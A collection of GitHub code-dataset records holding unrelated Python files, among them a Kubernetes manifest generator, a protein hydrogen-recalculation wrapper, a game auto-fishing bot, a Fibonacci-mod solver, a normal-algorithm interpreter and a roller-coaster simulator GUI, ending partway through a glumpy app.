+{"seq_id":"43385136888","text":"import sys\n\ndef print_intro():\n intro = [\"\",\n \"Welcome To\",\n \"\",\n \"\"\" __ _ __ __ ____ ___ _____ ______ ____ __ __ _ \n | |/ ]| | || \\ / _] / ___/| | / | / ]| |/ ] \n | ' / | | || o ) / [_ ( \\_ | || o | / / | ' / \n | \\ | | || || _] \\__ ||_| |_|| | / / | \\ \n | || : || O || [_ / \\ | | | | _ |/ \\_ | | \n | . || || || | \\ | | | | | |\\ || . | \n |__|\\_| \\__,_||_____||_____| \\___| |__| |__|__| \\____||__|\\_| \"\"\",\n \"\",\n \"\"]\n\n for string in intro:\n print(string.center(80, \"+\"))\n\nmanifests = [\n \"Deployment\",\n]\n\ndef main():\n print_intro()\n print(\"Here are the manifests we currently support\")\n for index, manifest in enumerate(manifests):\n print(f\"{index + 1})\", manifest, sep=\" \")\n\n manifest_selected = False\n while not manifest_selected:\n manifest = input(\"Select the manifest you want to generate or enter q to quit: \").title()\n if manifest == \"Q\":\n sys.exit()\n if manifest in manifests:\n manifest_selected = True\n else:\n print(\"Sorry we do not currently support this manifest\")\n \n if manifest == \"Deployment\":\n import manifests.deployment as deployment\n deployment.collect_data()\n manifest = deployment.generate_template()\n with open(\"deployment.yaml\", \"w\") as f:\n f.write(manifest)\n print(\"Your manifest has been generated in the current directory\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"utibeabasi6/kubestack","sub_path":"kubestack.py","file_name":"kubestack.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"471174240","text":"#!/usr/bin/env python\n\n\"\"\"\nppicp.hydrogen\n~~~~~~~~~~~~~~\n\nFunctions that handle the stripping and re-adding/calculating of hydrogen atoms to PDB files.\n\"\"\"\n\nimport os\nimport platform\nimport subprocess\nimport sys\n\nPARENT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))\nsys.path.append(PARENT_DIR)\n\nfrom ppicp import config\nfrom ppicp import initialize\n\n\nLOGGER = initialize.init_logger(__name__)\nLOGGER_HYD = initialize.init_hyd_logger(__name__)\n\n\ndef calc_hydrogen(pdb_path, out_dir):\n \"\"\"\n Calculates hydrogen atoms for a given PDB file and saves the added hydrogen atoms to a new PDB\n file. This is done by invoking the ``reduce`` software.\n\n :param pdb_path: The PDB file.\n :param out_dir: Where the resulting files are saved.\n :return: True if successful, False otherwise.\n \"\"\"\n LOGGER.info(\"[HYDROGEN] Working on: %s\", pdb_path)\n if platform.system() == 'Windows':\n raise NotImplementedError\n elif platform.system() == 'Linux':\n if config.get_hydrogen_app(initialize.CONF_FILE) == 'reduce':\n LOGGER.debug('Using Reduce to re-calculate hydrogen atoms.')\n try:\n LOGGER.debug('Stripping hydrogen atoms for %s', pdb_path)\n command = [os.path.join(initialize.BIN_DIR, 'reduce'), '-Trim', '-Quiet', pdb_path]\n subp = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n stdout, stderr = subp.communicate()\n\n with open(out_dir + 'stripped', 'w') as out:\n out.write(stdout)\n\n if stderr != '':\n LOGGER.debug(stderr)\n LOGGER_HYD.error('{%s}\\n %s', pdb_path, stderr)\n\n retcode = subp.poll()\n if retcode:\n cmd = command\n raise subprocess.CalledProcessError(retcode, cmd, output=stdout)\n\n LOGGER.debug('Re-adding hydrogen atoms for %s', pdb_path)\n command = [os.path.join(initialize.BIN_DIR, 'reduce'), '-build', '-DB',\n os.path.join(initialize.BIN_DIR, 'reduce_wwPDB_het_dict.txt'),\n '-Quiet', out_dir + 'stripped']\n\n subp = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n stdout, stderr = subp.communicate()\n\n with open(out_dir, 'w') as out:\n out.write(stdout)\n\n if stderr != '':\n LOGGER.debug(stderr)\n LOGGER_HYD.error('{%s}\\n %s', pdb_path, stderr)\n\n # Get rid of the overhead.\n os.remove(out_dir + 'stripped')\n\n return True\n except (OSError, subprocess.CalledProcessError) as err:\n LOGGER.error('%s \\nHydrogen calculations failed.', err)\n return False\n else:\n LOGGER.debug('Using user-specified application.')\n hydrogen_app = config.get_hydrogen_app(initialize.CONF_FILE)\n try:\n LOGGER.debug(subprocess.check_output([hydrogen_app]))\n return True\n except (OSError, subprocess.CalledProcessError) as err:\n LOGGER.error('%s \\nHydrogen calculations failed.', err)\n return False\n else:\n LOGGER.critical(\"[ERROR] OS could not be determined.\")\n sys.exit(1)\n","repo_name":"bud-graziano/ppicp","sub_path":"ppicp/hydrogen.py","file_name":"hydrogen.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"19531440835","text":"import torchvision.models as models\nimport torch.nn as nn\n\nimport models.deeppose_config as config\n\n\nclass Deeppose(nn.Module):\n \"\"\"\n using pretrained AlexNet\n \"\"\"\n\n def __init__(self):\n super(Deeppose, self).__init__()\n alexnet = models.alexnet(pretrained=True)\n alexnet.classifier = nn.Sequential(\n *list(alexnet.classifier.children())[:-1],\n nn.Dropout(p=0.5, inplace=False),\n nn.Linear(4096, 2048),\n nn.ReLU(inplace=True),\n nn.Dropout(p=0.5, inplace=False),\n nn.Linear(2048, config.n_joints * 2),\n nn.Sigmoid())\n\n self.alexnet = alexnet\n\n def forward(self, x):\n return self.alexnet(x)\n","repo_name":"akabiraka/cs682_computer_vision","sub_path":"project_human_pose_estimation/models/deeppose.py","file_name":"deeppose.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73318443754","text":"import numpy as np\nimport cv2\nfrom mss import mss\nfrom PIL import Image\nimport os\nimport time\n\n\n#Delay of 5 seconds so game window can be opened\ntime.sleep(5)\n\nsct = mss()\ncountFish=1\ndelayCount = 0\n\nwhile 1:\n os.system('xdotool click 3')\n \n #Delay of 3 seconds to allow the fishing bob to settle\n time.sleep(3)\n \n while 1:\n w, h = 800, 600\n\n #Lower and Upper RGB bounds of the red fishing bob\n lower=np.array([36,36,189], dtype=\"uint8\")\n upper=np.array([48,48,229], dtype=\"uint8\")\n \n #Takes a ROI screen capture of the upper middle left half of the screen.\n monitor = {'top': 100, 'left': 100, 'width': w, 'height': h}\n img = Image.frombytes('RGB', (w,h), sct.grab(monitor).rgb)\n IMG=cv2.cvtColor(np.array(img), cv2.COLOR_RGB2BGR)\n mask=cv2.inRange(IMG, lower, upper)\n\n #Below can be commented out to improve performance.\n cv2.imshow('test', mask)\n\n #Gives user time to pull up mask window\n if(delayCount==0):\n time.sleep(10)\n delayCount+=1\n\n if np.sum(mask) == 0: \n print(countFish)\n countFish+=1\n cv2.imwrite('BobBelowSurface.png', IMG)\n os.system('xdotool click 3')\n time.sleep(1)\n break\n \n \n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\n\n","repo_name":"justinyugit/mini-projects","sub_path":"OpenCV-AutoFishBot/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"6096262736","text":"#!/bin/python3\n\n# @author: Darwing Hernandez \n\n# Huge Fibonacci Number mod m\n#\n# Compute F(n) mod m, where n may be really huge: up to 10^18. For such values of n, an algorithm\n# looping for n iterations will not fit into one second for sure.\n#\n# Fib(n) mod m is periodic for any integer m >= 2. This period is known as Pisano period (https://oeis.org/A001175).\n# Pisano period begins always with 01.\n#\n# Input: integer n; 1 <= n <= 10^18\n# integer m; 2 <= m <= 10^5\n# Output: Fib(n) mod m\n\nimport random\n\n\n# Iterative version. Now this is going to be our naive solution.\ndef fibonacciModMNaive(n, m):\n\n if n <= 1:\n return n\n\n f0 = 0\n f1 = 1\n fn = 0\n i = 2\n\n while i <= n:\n\n fn = f0 + f1\n f0 = f1\n f1 = fn\n\n i += 1\n\n return fn % m\n\n# Determines the pisano index where the period begins again. This helps us to know the index for the\n# period to calculate then the F(n) mod m\ndef pisanoIndex(m):\n\n pisano = 0\n\n fn = 0 # fib(n)%m\n fi_0 = 0 # Base case fib(0)\n fi_1 = 1 # Base case fib(1)\n\n while True:\n\n # This means that we already found the period\n if pisano > 0 and fi_0%m == 0 and fi_1%m == 1:\n break\n\n fn = (fi_0 + fi_1) % m\n fi_0 = fi_1\n fi_1 = fn\n\n pisano += 1\n\n return pisano\n\n# Fast solution for F(n) mod m where the index for the period is previously calculated and after\n# get the F(n) mod m\ndef fibonacciModM(n, m):\n\n # Base case\n if n <= 1:\n return n\n\n # Determines the limit of iterations to calculate F(n) mod m. This is because it is using the\n # approach that F(n) mod m is periodic for m >= 2, so F(n) mod m = F(n') mod m, for n' < n.\n limit = n % pisanoIndex(m)\n\n # Base case\n if limit <= 1:\n return limit\n\n fn = 0\n fi_0 = 0\n fi_1 = 1\n\n i = 2\n\n # Calculates the mod m with the new and smaller \"n\".\n while i <= limit:\n\n fn = (fi_0 + fi_1) % m\n fi_0 = fi_1\n fi_1 = fn\n\n i += 1\n\n return fn\n\n# Stress testing both solutions\ndef stressTest(n, m):\n\n while True:\n\n newN = random.randint(1, n)\n newM = random.randint(2, m)\n\n print(newN, newM)\n\n result1 = fibonacciModMNaive(newN, newM)\n result2 = fibonacciModM(newN, newM)\n\n if result1 != result2:\n print(\"Wrong answer: \", result1, result2)\n break\n else:\n print(\"OK\")\n\nparams = [int(x) for x in input().split()]\n\n# Stress testing\n#stressTest(params[0], params[1])\n\nprint(fibonacciModM(params[0], params[1]))\n","repo_name":"Zenfeuer/courses","sub_path":"Coursera/DSAS/AT/fibonacci_huge.py","file_name":"fibonacci_huge.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"12235458928","text":"# Дополнительное задание по теории алгоритмов\r\n# Голенищев Артём, 2 курс, 9 группа\r\n\r\nprint(\"# как пользоваться\")\r\nprint(\"# 1. ввести правила подстановки: \")\r\nprint(\"# а. ввести количество правил алгорифма\")\r\nprint(\"# б. начать ввод правил в формате <подслово>-<рез-т подстановки> (подслово и результат подстановки через дефис)\")\r\nprint(\"# например: a-b, eps-.eps, d-*d и т. д.\")\r\nprint(\"# в. ввод завершится по получении всех правил\")\r\nprint(\"# 2. ввести слово \")\r\nprint(\"# 3. получить результат со всеми преобразованиями \")\r\nprint(\"# 4. выбрать одно из следующих действий: \")\r\nprint(\"# а. ввести очередное слово для примения над ним ранее введённых правил \")\r\nprint(\"# б. ввести специальное слово alg-stop для прекращения работы с введённым алгорифмом \")\r\nprint(\"# i. начать работу с новым нормальным алгорифмом - ввести y с клавиатуры и вернуться к пункту 1.\")\r\nprint(\"# ii. завершить работу с программой - ввести n с клавиатуры\")\r\nprint()\r\nprint(\"# начало\")\r\nExit = 0;\r\nwhile Exit == 0:\r\n\r\n # нормальный алгорифм - словарь, где ключи - подслова, а значения - результат подстановки вместо подслова.\r\n # на этапе инициализации не имеет ни одного правила.\r\n Algorithm = {}\r\n\r\n # ввод правил подстановки, добавление их в алгорифм \r\n RulesCnt = int(input(\"> Введите кол-во правил подстановки: \"))\r\n print(\"> Введите правила подстановки: \")\r\n for number in range(RulesCnt):\r\n NewRule = input()\r\n NewRule = NewRule.replace(\" \",\"\")\r\n NewPair = NewRule.split('-')\r\n Algorithm[NewPair[0]] = NewPair[1] \r\n print()\r\n\r\n # вывод правил нормального алгорифма\r\n print(\"> Правила подстановок нормального алгорифма: \")\r\n for key in Algorithm:\r\n \r\n print(\" \" + key + \"->\" + Algorithm[key])\r\n print()\r\n \r\n \r\n Algorithm[\"NoMoreSubs\"] = \"\" # правило-end, попытка применения этого правила - сигнал о том, что ни одно из правил нормального алгорифма не применимо.\r\n\r\n \r\n # секция применения правил подстановки. введённый нормальный алгорифм пользователь может применить к любому количеству слов. \r\n # после применения алгорифма к введённому слову программа выводит результат применения и ожидает новое слово. \r\n # для перехода ко вводу нового алгорифма необходимо ввести alg-stop в качестве входного слова. в таком случае можно будет ввести новый набор правил или завершить работу с программой.\r\n while 0 == 0:\r\n Transformations = []\r\n \r\n Word = input(\"> Введите слово: \")\r\n \r\n if Word == \"alg-stop\": #проверка на команду об окончании работы с данным алгорифмом\r\n break\r\n\r\n SrcWord = Word # сохранение исходного слова\r\n\r\n IterCnt = 0 # счётчик итераций для слова\r\n\r\n Applied = 0 # флаг окончания применения алгорифма. 0 - в процессе применения, 1 - применён.\r\n # цикл действет аккуратно - производит по одной подстановке за итерацию. в начале каждой из них слово проверяется на появление после предыдущей итерации точки - признака применения конечной подстановки.\r\n # в таком случае применение правил алгорифма останавливается, точка удаляется из слова. иначе работа цикла продолжается до появления в слове точки или до достижения фиктивного правила NoMoreSubs, что сигнализирует о неприменимости остальных правил.\r\n # каждая новая итерация начинается с попытки применить правило наивысшего приоритета. если оно не применимо - начинается перебор правил в порядке убывания их приоритета.\r\n while Applied == 0:\r\n\r\n IterCnt = IterCnt + 1\r\n if IterCnt > 100: # пусть сообщение о зацикливании будет выводиться по достижении 100 итераций цикла\r\n print(\"Процесс зациклился!\")\r\n break\r\n\r\n Word = Word.replace(\"eps\", \"\")\r\n\r\n # добавление пустого символа в начало\r\n if not Word.startswith(\"eps\"):\r\n Word = \"eps\" + Word\r\n\r\n Transformations.append(Word)\r\n Transformations.append(\"=>\")\r\n\r\n # проверка \"на точку\"\r\n if Word.find(\".\") != -1:\r\n Word = Word.replace(\".\",\"\")\r\n Word = Word.replace(\"%eps%\",\"\")\r\n # Applied = 1\r\n break\r\n\r\n # применения правил\r\n for key in Algorithm:\r\n \r\n if key == \"NoMoreSubs\":\r\n Applied = 1\r\n break\r\n\r\n if Word.find(key) != -1:\r\n Word = Word.replace(key, Algorithm[key], 1)\r\n break\r\n print()\r\n Transformations.pop();\r\n\r\n # Вывод всех преобразований со служебными символами \".\" и \"eps\". Не используется в конечной версии программы. \r\n # for x in Transformations: \r\n # print(x)\r\n\r\n # вывод всех преобразований \r\n print(\"> Вывод всех преобразований: \")\r\n for x in Transformations:\r\n if x != \"eps\":\r\n x = x.replace(\"eps\",\"\")\r\n x = x.replace(\".\",\"\")\r\n print(x, end = ' ')\r\n print()\r\n print()\r\n\r\n\r\n UserAnswer = \"null\"\r\n while UserAnswer != \"y\" and UserAnswer != \"n\":\r\n UserAnswer = input(\"> Вы хотите продолжить работу и ввести новый нормальный алгорифм? y - да / n - нет: \")\r\n print()\r\n if UserAnswer == \"n\":\r\n Exit = 1\r\n print(\"# конец\")\r\n else:\r\n print(\"# новый алгорифм\")\r\n print()\r\n \r\n # Лог работы\r\n # \r\n #> Введите кол-во правил подстановки: 2\r\n #> Введите правила подстановки:\r\n #a-b\r\n #c-.a\r\n #\r\n #> Правила подстановок нормального алгорифма:\r\n # a->b\r\n # c->.a\r\n #\r\n #> Введите слово: caa\r\n #\r\n #> Вывод всех преобразований:\r\n #caa => cba => cbb => abb\r\n\r\n\r\n\r\n\r\n # > Введите кол-во правил подстановки: 3\r\n #> Введите правила подстановки:\r\n #bba-ab\r\n #ab-a\r\n #b-eps\r\n #\r\n #> Правила подстановок нормального алгорифма:\r\n # bba->ab\r\n # ab->a\r\n # b->eps\r\n #\r\n #> Введите слово: bbbabaaabbb\r\n #\r\n #> Вывод всех преобразований:\r\n #bbbabaaabbb => babbaaabbb => baabaabbb => baaaabbb => baaaabb => baaaab => baaaa => aaaa\r\n\r\n\r\n\r\n\r\n # > Введите кол-во правил подстановки: 3\r\n #> Введите правила подстановки:\r\n #ba-ab\r\n #ab-a\r\n #a-eps\r\n #\r\n #> Правила подстановок нормального алгорифма:\r\n # ba->ab\r\n # ab->a\r\n # a->eps\r\n #\r\n #> Введите слово: aaaa\r\n #\r\n #> Вывод всех преобразований:\r\n #aaaa => aaa => aa => a => eps\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"heywannafunk/cs203-bonus-task","sub_path":"ExtraTaskPython/ExtraTaskPython.py","file_name":"ExtraTaskPython.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74317262632","text":"\"\"\"Tests for day 14.\"\"\"\n\nimport pytest\n\nfrom day_14.solution import calculate_difference_of_most_and_least_common_element_counts\n\n_EXAMPLE_INPUT = \"\"\"NNCB\n\nCH -> B\nHH -> N\nCB -> H\nNH -> C\nHB -> C\nHC -> B\nHN -> C\nNN -> C\nBH -> H\nNC -> B\nNB -> B\nBN -> B\nBB -> N\nBC -> B\nCC -> N\nCN -> C\"\"\"\n\n\n@pytest.mark.parametrize(\"steps,expected\", [(10, 1588), (40, 2188189693529)])\ndef test_example_solution_is_recovered(steps, expected):\n assert (\n calculate_difference_of_most_and_least_common_element_counts(\n _EXAMPLE_INPUT, steps=steps\n )\n == expected\n )\n\n","repo_name":"anguswilliams91/advent-of-code-2021","sub_path":"day_14/test_solution.py","file_name":"test_solution.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"171276894","text":"# Generating example classification data\r\n\r\nimport numpy as np\r\nimport scipy.stats as ss\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression, LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nn = 1000\r\n\r\ndef gen_data(n, h, sd1, sd2):\r\n x1 = ss.norm.rvs(-h, sd1, n)\r\n y1 = ss.norm.rvs(0, sd1, n)\r\n x2 = ss.norm.rvs(h, sd2, n)\r\n y2 = ss.norm.rvs(0, sd2, n)\r\n return (x1, y1, x2, y2)\r\n\r\ndef plot_data(x1, y1, x2, y2):\r\n plt.figure()\r\n plt.plot(x1, y1, \"o\", ms=2)\r\n plt.plot(x2, y2, \"o\", ms=2)\r\n plt.xlabel(\"$X_1$\") \r\n plt.ylabel(\"$X_2$\")\r\n plt.show()\r\n\r\nx1, y1, x2, y2 = gen_data(1000, 1.5, 1, 1.5)\r\n#plot_data(x1, y1, x2, y2)\r\n\r\nclassifier = LogisticRegression()\r\nX = np.vstack((np.vstack((x1, y1)).T, np.vstack((x2, y2)).T))\r\ny = np.hstack((np.repeat(1, n), np.repeat(2,n)))\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.5, random_state=1)\r\nclassifier.fit(X_train, y_train)\r\n#print(classifier.predict_proba(np.array([-2, 0]).reshape(1, -1)))\r\n#print(classifier.predict(np.array([-2, 0]).reshape(1, -1)))\r\n\r\ndef plot_probs(ax, clf, class_no):\r\n xx1, xx2 = np.meshgrid(np.arange(-5, 5, 0.01), np.arange(-5, 5, 0.01))\r\n probs = clf.predict_proba(np.stack((xx1.ravel(), xx2.ravel()), axis=1))\r\n Z = probs[:, class_no]\r\n Z = Z.reshape(xx1.shape)\r\n CS = ax.contourf(xx1, xx2, Z)\r\n cbar = plt.colorbar(CS)\r\n plt.xlabel(\"$X_1$\")\r\n plt.ylabel(\"$X_2$\")\r\n #plt.show()\r\nplt.figure()\r\nax = plt.subplot(211)\r\nplot_probs(ax, classifier, 0)\r\nplt.title(\"Pred. prob for class 1\")\r\nax = plt.subplot(212)\r\nplot_probs(ax, classifier, 1)\r\nplt.title(\"Pred. prob for class 2\")\r\nplt.show()\r\n","repo_name":"Yodeman/Python_for_Research","sub_path":"statsLearning.py","file_name":"statsLearning.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"21550858802","text":"\"\"\"\nnolimits_coastergui.py\n\n\"\"\"\n\nimport os\nimport sys\nimport logging\n# from coaster_gui_defs import *\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\n\n\nfrom agents.ride_state import RideState\nfrom agents.agent_gui_base import AgentGuiBase\nimport common.gui_utils as gutil\nfrom common.kb_sleep import kb_sleep\n\nui, base = uic.loadUiType(\"agents/nolimits_coaster/nolimits_coaster_gui.ui\")\n\n\nlog = logging.getLogger(__name__)\n\nclass frame_gui(QtWidgets.QFrame, ui):\n def __init__(self, parent=None):\n super(frame_gui, self).__init__(parent)\n self.setupUi(self)\n\nclass AgentGui(AgentGuiBase):\n\n def __init__(self, frame, layout, proxy):\n self.ui = frame_gui(frame)\n layout.addWidget(self.ui)\n \n self.lbl_pc_conn_status = [ self.ui.lbl_pc_conn_status_0, self.ui.lbl_pc_conn_status_1,\n self.ui.lbl_pc_conn_status_2, self.ui.lbl_pc_conn_status_3, self.ui.lbl_pc_conn_status_4]\n\n self.park_path = []\n self.park_names = []\n self.seat = []\n self._park_callback = None\n self.current_park = 0\n self.is_scrolling = False\n\n self.is_activated = False\n self.sleep_func = kb_sleep\n \n # configure signals\n self.ui.btn_dispatch.clicked.connect(proxy.dispatch_pressed)\n self.ui.btn_pause.clicked.connect(proxy.pause_pressed)\n self.ui.btn_reset_rift.clicked.connect(proxy.reset_vr)\n\n # Create custom buttons\n self.custom_btn_dispatch = gutil.CustomButton( self.ui.btn_dispatch, ('white','darkgreen'), ('black', 'lightgreen'), 10, 0) \n self.custom_btn_pause = gutil.CustomButton( self.ui.btn_pause, ('black','orange'), ('black', 'yellow'), 10, 0) \n # self.ui.btn_pause.setStyleSheet(\"background-color: orange; border-radius:10px; border: 0px;QPushButton::pressed{background-color :yellow; }\")\n self.show_state_change(RideState.NON_SIM_MODE, self.is_activated) # update buttons\n\n self.read_parks() # load cmb_select_ride \n self.report_coaster_status(\"Starting software!black\")\n log.info(\"Agent GUI initialized\")\n\n def set_rc_label(self, info):\n gutil.set_text(self.ui.lbl_remote_status, info[0], info[1])\n \n def report_coaster_status(self, text):\n # msg string format is: text!color\n text,color = text.split('!')\n self.coaster_status_str = format(\"%s,%s\" % (text,color))\n gutil.set_text(self.ui.lbl_coaster_status, text, color)\n\n def report_connection_status(self, index, pc_str, text):\n # msg string format is: text!color\n text = pc_str + ' ' + text\n text,color = text.split('!')\n gutil.set_text(self.lbl_pc_conn_status[index], text, color)\n\n def report_sync_status(self, text, color):\n gutil.set_text(self.lbl_sync_status, text, color)\n\n def detected_remote(self, info):\n # fixme - is this needed?\n if \"Detected Remote\" in info:\n gutil.set_text(self.ui.lbl_remote_status, info, \"green\")\n elif \"Looking for Remote\" in info:\n gutil.set_text(self.ui.lbl_remote_status, info, \"orange\")\n else:\n gutil.set_text(self.ui.lbl_remote_status, info, \"red\")\n\n def intensity_status_changed(self, intensity):\n gutil.set_text(self.ui.lbl_intensity_status, intensity[0], intensity[1])\n \n def set_seat(self, seat):\n if seat != '':\n log.info(\"seat set to %d\", int(seat))\n\n def read_parks(self):\n try:\n path = os.path.abspath('agents/nolimits_coaster/coaster_parks.cfg')\n log.debug(\"Path to coaster parks: %s\", path)\n with open(path) as f:\n parks = f.read().splitlines()\n for park in parks:\n p = park.split(',')\n self.park_path.append(p[0]) \n self.seat.append(p[1])\n # print park\n p = p[0].split('/')\n p = p[len(p)-1]\n # print p,\n self.park_names.append(p.split('.')[0])\n log.debug(\"Available rides are:\\n %s\", ','.join(p for p in self.park_names))\n self.ui.cmb_select_ride.addItems(self.park_names)\n self.ui.cmb_select_ride.currentIndexChanged.connect(self._park_selection_changed)\n except Exception as e:\n log.error(\"Unable to load parks, (error %s)\", e)\n\n def select_ride_callback(self, cb):\n self._park_callback = cb\n\n def _park_selection_changed(self, value):\n if not self.is_scrolling: # ignore if encoder is pressed \n self._park_by_index(value)\n\n def _park_by_index(self, idx):\n # print idx, self.park_path[idx]\n # print \"park by index\", idx, self.current_park, idx == self.current_park\n if idx != self.current_park and self._park_callback != None:\n log.info(\"loading park %s\", self.park_names[idx])\n # load park in pause mode, this will unpuase when park is loaded\n self._park_callback(True, self.park_path[idx], self.seat[idx])\n self.current_park = idx\n\n def get_selected_park(self): \n return None\n\n def scroll_parks(self, dir):\n count = self.ui.cmb_select_ride.count()\n index = self.ui.cmb_select_ride.currentIndex()\n self.is_scrolling = True # flag to supress selection until encoder released\n if dir == '1':\n if index < count - 1:\n self.ui.cmb_select_ride.setCurrentIndex(index+1)\n elif dir == '-1':\n if index > 0:\n self.ui.cmb_select_ride.setCurrentIndex(index-1)\n print(\"scroll parks, dir=\", dir, \"index = \", index)\n self.is_scrolling = False\n\n def show_parks(self, isPressed):\n # todo ignore if input tab not active \n print(\"\\nshow parks, pressed=\", isPressed)\n if isPressed == 'False': \n # here when encoder switch is released\n self._park_by_index(self.ui.cmb_select_ride.currentIndex())\n \"\"\"\n if self.is_parklist_focused == False:\n #open pop down list\n self.park_listbox.focus_set()\n self.park_listbox.event_generate('')\n else: \n if self.is_parklist_focused == True:\n # print \"select item here\" \n self.park_listbox.event_generate('')\n else:\n log.warning(\"Unhandled state in Show_parks, pressed=%d\", isPressed) # , \"is open = \", self.is_parklist_focused\n \"\"\"\n \n def hide_parks_dialog(self):\n self.top.destroy()\n\n def set_activation(self, is_enabled):\n # print((\"is activated in gui set to \", is_enabled))\n if is_enabled:\n self.is_activated = True\n self.ui.cmb_select_ride.setEnabled(False)\n else:\n self.is_activated = False\n self.ui.cmb_select_ride.setEnabled(True)\n\n def emergency_stop(self):\n log.warning(\"legacy emergency stop callback\")\n self.deactivate()\n\n def show_activated(self, state):\n self.show_state_change(state, True)\n\n def show_deactivated(self, state):\n self.show_state_change(state, False)\n \n def show_parked(self):\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Parked\", \"black\")\n\n def temperature_status_changed(self, status):\n gutil.set_text(self.ui.lbl_temperature_status, status[0], status[1])\n\n def show_state_change(self, new_state, isActivated):\n # print(\"Coaster state changed to \", RideState.str(new_state), str(isActivated))\n log.debug(\"Coaster state changed to: %s (%s)\", RideState.str(new_state), \"Activated\" if isActivated else \"Deactivated\")\n if new_state == RideState.READY_FOR_DISPATCH:\n if isActivated:\n log.debug(\"Coaster is Ready for Dispatch\")\n self.custom_btn_dispatch.set_attributes(True, False, 'Dispatch') # enabled, not checked\n self.custom_btn_pause.set_attributes(True, False, 'Pause') # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Ready for Dispatch\", \"green\")\n # self.set_button_style(self.ui.btn_pause, True, False, \"Pause\") # enabled, not checked\n else:\n log.debug(\"Coaster at Station but deactivated\")\n self.custom_btn_dispatch.set_attributes(False, False, 'Dispatch') # not enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster at Station but deactivated\", \"orange\")\n # self.custom_btn_pause.set_attributes(True, False, \"Prop Platform\") # enabled, not checked\n\n elif new_state == RideState.RUNNING:\n self.custom_btn_dispatch.set_attributes(False, True, 'Dispatched') # not enabled, checked\n self.custom_btn_pause.set_attributes(True, False, \"Pause\") # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Running\", \"green\") \n elif new_state == RideState.PAUSED:\n self.custom_btn_dispatch.set_attributes(False, True) # not enabled, checked\n self.custom_btn_pause.set_attributes(True, True, \"Continue\") # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Paused\", \"orange\")\n elif new_state == RideState.EMERGENCY_STOPPED:\n self.custom_btn_dispatch.set_attributes(False, True) # not enabled, checked\n self.custom_btn_pause.set_attributes(False, True, 'E-Stopped') # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Emergency Stop\", \"red\")\n elif new_state == RideState.NON_SIM_MODE:\n self.custom_btn_dispatch.set_attributes(False, True) # not enabled, checked\n self.custom_btn_pause.set_attributes(False, False) # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is resetting\", \"blue\")\n\n def set_button_style(self, object, is_enabled, is_checked=None, text=None):\n if text != None:\n object.setText(text)\n if is_checked!= None:\n object.setCheckable(True)\n object.setChecked(is_checked)\n if is_enabled != None:\n object.setEnabled(is_enabled)\n ","repo_name":"michaelmargolis/MdxMotionPlatformV3","sub_path":"runtime/agents/nolimits_coaster/nolimits_coaster_gui.py","file_name":"nolimits_coaster_gui.py","file_ext":"py","file_size_in_byte":10309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"37876243030","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\npsyclab/display/glumpy_app.py\nVince Enachescu 2019\n\"\"\"\n\n# import numpy as np\n\nfrom functools import partial\n\nfrom glumpy import app\nfrom psyclab.utilities.osc import OSCResponder\n\n\nclass GlumpyApp(OSCResponder):\n \"\"\"\n Template Class to make a basic glumpy powered app, including a built-in\n OSC responder.\n\n \"\"\"\n\n def __init__(self, title='psyclab', width=800, height=800, bg_color=(1, 1, 1, 1), **kwargs):\n\n self.title = title\n self.width = width\n self.height = height\n self.bg_color = bg_color\n self.shapes = {}\n self.window = None\n\n OSCResponder.__init__(self, **kwargs)\n\n def start(self):\n \"\"\" Start the application and run (blocking) \"\"\"\n\n OSCResponder.start(self)\n\n self.window = self.make_window()\n self.make_programs(self.window)\n\n try:\n app.run()\n except Exception as error:\n OSCResponder.stop(self)\n raise error\n\n def make_window(self):\n \"\"\" Create the application window \"\"\"\n\n window = app.Window(title=self.title, width=self.width, height=self.height, color=self.bg_color)\n window.set_handler('on_draw', self.on_draw)\n window.set_handler('on_init', self.on_init)\n window.set_handler('on_resize', self.on_resize)\n window.set_handler('on_close', partial(self.on_close, caller=self.title))\n return window\n\n def make_programs(self, window):\n \"\"\" Initialize the OpenGL shader programs (placeholder function) \"\"\"\n pass\n\n def step(self, dt, **kwargs):\n\n for shape in self.shapes.values():\n shape.update()\n\n def on_init(self):\n return\n\n def on_draw(self, dt):\n \"\"\" Update 